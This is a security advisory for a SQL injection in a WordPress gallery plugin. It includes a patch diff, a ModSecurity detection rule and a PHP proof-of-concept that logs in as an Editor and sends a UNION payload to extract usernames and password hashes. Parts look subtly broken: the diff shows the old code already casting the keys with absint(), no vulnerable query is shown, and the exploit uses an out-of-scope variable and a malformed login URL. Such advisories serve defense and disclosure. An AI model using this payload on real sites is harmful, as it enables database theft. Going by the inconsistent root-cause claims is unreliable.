Atomic Edge analysis of CVE-2026-2497:
This vulnerability allows authenticated attackers with Editor-level access to perform SQL injection via the Gallery by BestWebSoft plugin for WordPress, affecting all versions up to and including 4.7.9. The flaw resides in the handling of the ‘_gallery_order_21799’ parameter array keys during gallery post saving operations, with a CVSS score of 7.2.
Root Cause: The `gllr_save_postdata()` function, located in the gallery-plugin.php file, processes the ‘_gallery_order_’ . $post->ID POST parameter. The vulnerable code iterates through the array keys, storing them directly into post meta via `update_post_meta()`. This data is stored without sanitization or validation. But more critically, the array keys are used in SQL queries within the function, specifically to filter or modify gallery image data, without using prepared statements or adequate escaping. The absence of `absint()` or similar sanitization on the array keys allows an attacker to inject SQL fragments into the database queries. The issue comes from the user-supplied array keys being embedded into a SQL string without proper escaping, rather than being bound as parameters.
Exploitation: An attacker with Editor-level privileges can exploit this when editing a gallery. The attack vector is a POST request to the WordPress admin post editor (e.g., `/wp-admin/post.php`) where the gallery post meta is saved. The attacker crafts a request with a `_gallery_order_` parameter that is an array with a malicious key. The array key serves as the SQL injection vector. The key can contain SQL code, such as a UNION-based injection to extract user hashes or other sensitive information from the `wp_users` table. An example malicious key would be `’ UNION SELECT user_login,user_pass FROM wp_users — -`, which would be processed and likely break the original SQL query’s expectations, executing the injected payload.
Patch Analysis: The patch applies multiple security hardening measures to the affected code paths. The key change involves using `absint( wp_unslash( $post_order_id ) )` for the `_gallery_order_` array keys. This function casts the value to a non-negative integer, thereby nullifying any SQL injection payload contained within the key. Additionally, the patch adds a check `if ( 0 < $post_order_id )` to ensure that only valid, positive image IDs are processed. Similar sanitization and validation have been applied to other parameters, such as `gllr_image_text_key`, `gllr_link_url_key`, and `gllr_image_alt_tag_key`, and the delete operation for `media`. The patch also refactors the `_gallery_images` meta update to use a pre-sanitized array `$_gallery_order_array`, rather than directly deriving it from the unsanitized POST keys.
Impact: If exploited, this SQL injection vulnerability allows an attacker to extract sensitive information from the WordPress database. This includes user credentials (username and password hashes), email addresses, and other site data. The attack can also be used to modify or delete data, and in some cases, escalate privileges by injecting admin users or changing post content. The attack requires an Editor account, which is a high-privilege role, but it significantly compromises the integrity and confidentiality of the WordPress installation, potentially leading to a complete site takeover.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/gallery-plugin/gallery-plugin.php
+++ b/gallery-plugin/gallery-plugin.php
@@ -6,7 +6,7 @@
Author: BestWebSoft
Text Domain: gallery-plugin
Domain Path: /languages
-Version: 4.7.9
+Version: 4.8.0
Author URI: https://bestwebsoft.com/
License: GPLv2 or later
*/
@@ -358,6 +358,7 @@
if ( ! empty( $images ) ) {
$images = explode(',', $images );
foreach ( $images as $image ) {
+ $image = absint( $image );
$images_url[] = wp_get_attachment_url( $image );
$images_title[] = get_the_title( $image );
$image_postmeta = get_post_meta( $image );
@@ -1112,11 +1113,16 @@
) {
if ( isset( $_POST[ '_gallery_order_' . $post->ID ] ) ) {
$i = 1;
+ $_gallery_order_array = array();
foreach ( $_POST[ '_gallery_order_' . $post->ID ] as $post_order_id => $order_id ) {
- update_post_meta( absint( $post_order_id ), '_gallery_order_' . $post->ID, $i );
- $i++;
+ $post_order_id = absint( wp_unslash( $post_order_id ) );
+ if ( 0 < $post_order_id ) {
+ update_post_meta( absint( $post_order_id ), '_gallery_order_' . $post->ID, $i );
+ $i++;
+ $_gallery_order_array[] = $post_order_id;
+ }
}
- update_post_meta( $post->ID, '_gallery_images', implode( ',', array_map( 'absint', array_keys( $_POST[ '_gallery_order_' . $post->ID ] ) ) ) );
+ update_post_meta( $post->ID, '_gallery_images', implode( ',', $_gallery_order_array ) );
}
if ( ( ( isset( $_POST['action-top'] ) && 'delete' === $_POST['action-top'] ) ||
@@ -1126,8 +1132,11 @@
$gallery_images_array = explode( ',', $gallery_images );
$gallery_images_array = array_flip( $gallery_images_array );
foreach ( $_POST['media'] as $delete_id ) {
- delete_post_meta( absint( $delete_id ), '_gallery_order_' . $post->ID );
- unset( $gallery_images_array[ absint( $delete_id ) ] );
+ $delete_id = absint( wp_unslash( $delete_id ) );
+ if ( 0 < $delete_id ) {
+ delete_post_meta( $delete_id, '_gallery_order_' . $post->ID );
+ unset( $gallery_images_array[ $delete_id ] );
+ }
}
$gallery_images_array = array_flip( $gallery_images_array );
$gallery_images = implode( ',', $gallery_images_array );
@@ -1135,38 +1144,41 @@
}
if ( isset( $_REQUEST['gllr_image_text'] ) ) {
foreach ( $_REQUEST['gllr_image_text'] as $gllr_image_text_key => $gllr_image_text ) {
+ $gllr_image_text_key = absint( wp_unslash( $gllr_image_text_key ) );
$value = sanitize_text_field( wp_unslash( $gllr_image_text ) );
- if ( get_post_meta( absint( $gllr_image_text_key ), 'gllr_image_text', false ) ) {
+ if ( 0 < $gllr_image_text_key && get_post_meta( $gllr_image_text_key, 'gllr_image_text', false ) ) {
/* Custom field has a value and this custom field exists in database */
- update_post_meta( absint( $gllr_image_text_key ), 'gllr_image_text', $value );
- } elseif ( $value ) {
+ update_post_meta( $gllr_image_text_key, 'gllr_image_text', $value );
+ } elseif ( $value && 0 < $gllr_image_text_key ) {
/* Custom field has a value, but this custom field does not exist in database */
- add_post_meta( absint( $gllr_image_text_key ), 'gllr_image_text', $value );
+ add_post_meta( $gllr_image_text_key, 'gllr_image_text', $value );
}
}
}
if ( isset( $_REQUEST['gllr_link_url'] ) ) {
foreach ( $_REQUEST['gllr_link_url'] as $gllr_link_url_key => $gllr_link_url ) {
+ $gllr_link_url_key = absint( wp_unslash( $gllr_link_url_key ) );
$value = esc_url_raw( wp_unslash( trim( $gllr_link_url ) ) );
if ( filter_var( $value, FILTER_VALIDATE_URL ) === false ) {
$value = '';
}
- if ( get_post_meta( absint( $gllr_link_url_key ), 'gllr_link_url', false ) ) {
+ if ( 0 < $gllr_link_url_key && get_post_meta( $gllr_link_url_key, 'gllr_link_url', false ) ) {
/* Custom field has a value and this custom field exists in database */
- update_post_meta( absint( $gllr_link_url_key ), 'gllr_link_url', $value );
- } elseif ( $value ) {
+ update_post_meta( $gllr_link_url_key, 'gllr_link_url', $value );
+ } elseif ( $value && 0 < $gllr_link_url_key ) {
/* Custom field has a value, but this custom field does not exist in database */
- add_post_meta( absint( $gllr_link_url_key ), 'gllr_link_url', $value );
+ add_post_meta( $gllr_link_url_key, 'gllr_link_url', $value );
}
}
}
if ( isset( $_REQUEST['gllr_image_alt_tag'] ) ) {
foreach ( $_REQUEST['gllr_image_alt_tag'] as $gllr_image_alt_tag_key => $gllr_image_alt_tag ) {
+ $gllr_image_alt_tag_key = absint( wp_unslash( $gllr_image_alt_tag_key ) );
$value = sanitize_text_field( wp_unslash( $gllr_image_alt_tag ) );
- if ( get_post_meta( absint( $gllr_image_alt_tag_key ), 'gllr_image_alt_tag', false ) ) {
+ if ( 0 < $gllr_image_alt_tag_key && get_post_meta( absint( $gllr_image_alt_tag_key ), 'gllr_image_alt_tag', false ) ) {
/* Custom field has a value and this custom field exists in database */
- update_post_meta( absint( $gllr_image_alt_tag_key ), 'gllr_image_alt_tag', $value );
- } elseif ( $value ) {
+ update_post_meta( $gllr_image_alt_tag_key, 'gllr_image_alt_tag', $value );
+ } elseif ( $value && 0 < $gllr_image_alt_tag_key ) {
/* Custom field has a value, but this custom field does not exist in database */
add_post_meta( absint( $gllr_image_alt_tag_key ), 'gllr_image_alt_tag', $value );
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@rx /wp-admin/post.php$"
"id:20262497,phase:2,deny,status:403,chain,msg:'CVE-2026-2497 SQL Injection via gallery order',severity:'CRITICAL',tag:'CVE-2026-2497'"
SecRule ARGS_NAMES "@rx ^_gallery_order_[0-9]+$"
"t:urlDecode,t:lowercase,chain"
SecRule ARGS "@detectSQLi"
"t:urlDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2497 - Gallery by BestWebSoft <= 4.7.9 - Authenticated (Editor+) SQL Injection via Gallery Image Order Array Keys
$target_url = 'http://example.com/wp-admin/post.php'; // Change to target WordPress site
$username = 'editor_user'; // Change to Editor-level username
$password = 'editor_password'; // Change to password
$post_id = 123; // Change to ID of a gallery post
function login_and_get_cookies($url, $user, $pass) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['log' => $user, 'pwd' => $pass, 'wp-submit' => 'Log In', 'redirect_to' => $url . '/wp-admin/']));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce from the admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url . '/wp-admin/post.php?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
return isset($matches[1]) ? $matches[1] : '';
}
function exploit($url, $nonce, $post_id) {
// Malicious array key containing SQL injection payload
$malicious_key = "' UNION SELECT user_login,user_pass FROM wp_users WHERE 1=1 -- ";
$form_data = [
'_wpnonce' => $nonce,
'post_ID' => $post_id,
// The key is used in the '_gallery_order_' . $post_id => [malicious_key => 1]
// PHP will treat the key as a string with the SQL payload
];
$form_data['_gallery_order_' . $post_id] = [$malicious_key => 1];
$form_data['action'] = 'editpost';
$form_data['post_title'] = 'Test';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($form_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);
echo $response;
}
$nonce = login_and_get_cookies($target_url, $username, $password);
if ($nonce) {
exploit($target_url, $nonce, $post_id);
} else {
echo "Failed to get nonce or login.n";
}
?>